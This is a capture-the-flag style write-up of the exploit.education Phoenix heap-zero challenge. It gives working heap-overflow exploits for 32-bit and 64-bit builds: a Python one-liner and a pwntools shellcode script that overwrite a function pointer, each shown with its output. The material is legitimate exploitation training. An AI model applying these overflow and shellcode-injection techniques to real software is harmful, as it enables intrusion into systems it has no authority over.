Heap 0
Write-up for: https://exploit.education/phoenix/heap-zero/.
Solution
The goal is to redirect execution to the winner() function. This could be achieved by overwriting
the fp
function pointer of f
. f
is located after d
on the heap. d
is filled using strcpy
without bounds checking. This means we can overflow the name
field of d
in order to overwrite
f->fp
. Note that this will also overwrite control data of f
which will probably make any call
to free
crash later on.
Since there is no memory protection (like ASLR), we can simply find out the address of the winner
function using objdump:
user@phoenix-amd64:/opt/phoenix/i486$ objdump -d heap-zero | grep winner
08048835 <winner>:
Now we need the offset of f->fp
from d->name
which we can write arbitrary data to.
Given the informative output of the program we can easily deduct the offset by probing
the executable (e.g. using binary search or using a unique pattern). Alternatively,
by looking at the source, we know that the data
struct uses 64 bytes of memory, followed
by 8 bytes of heap control structure for f
(prev_size, size). This means the function pointer we want to overwrite
is located 72 bytes after d->name
. This results in the following exploit:
./heap-zero `python -c 'print "A"*72 + "\x08\x04\x88\x35"[::-1]' `
user@phoenix-amd64:/opt/phoenix/i486$ ./heap-zero `python -c 'print "A"*72 + "\x08\x04\x88\x35"[::-1]' `
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level
Note that [::-1]
reverses a string in Python.
64-bit version
The 64-bit version makes this challenge a bit trickier since the address of winner
contains null bytes that will end the string when read with strcpy
. Thus, to get to the winner
function, we add a level of indirection. We put a short shellcode at the beginning of our buffer that jumps to the winner function (push ADDR; ret
). Using the buffer overflow, we can overwrite the function pointer fp
with the address of our buffer, which doesn’t contain any null bytes. This is the exploit:
# getting the required addresses
user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-zero test
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x400ace
user@phoenix-amd64:~$ objdump -d /opt/phoenix/amd64/heap-zero | grep winner
0000000000400abd <winner>:
import pwnlib
import struct
DATA_ADDR = 0x7ffff7ef6010
WINNER_ADDR = 0x400abd
pwnlib.context.arch = 'amd64'
shellcode = pwnlib.shellcraft.amd64.push(WINNER_ADDR)
shellcode += pwnlib.shellcraft.amd64.ret()
shellcode = pwnlib.asm.asm(shellcode, arch='amd64')
buf = shellcode + "A" * (80 - len(shellcode)) # offset between fp and buf is 80
buf += struct.pack("<Q", DATA_ADDR)
print buf
And running the exploit:
user@phoenix-amd64:~$ /opt/phoenix/amd64/heap-zero $(python heap0_64.py)
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0x7ffff7ef6010, fp is at 0x7ffff7ef6060, will be calling 0x7ffff7ef6010
Congratulations, you have passed this level
Nice!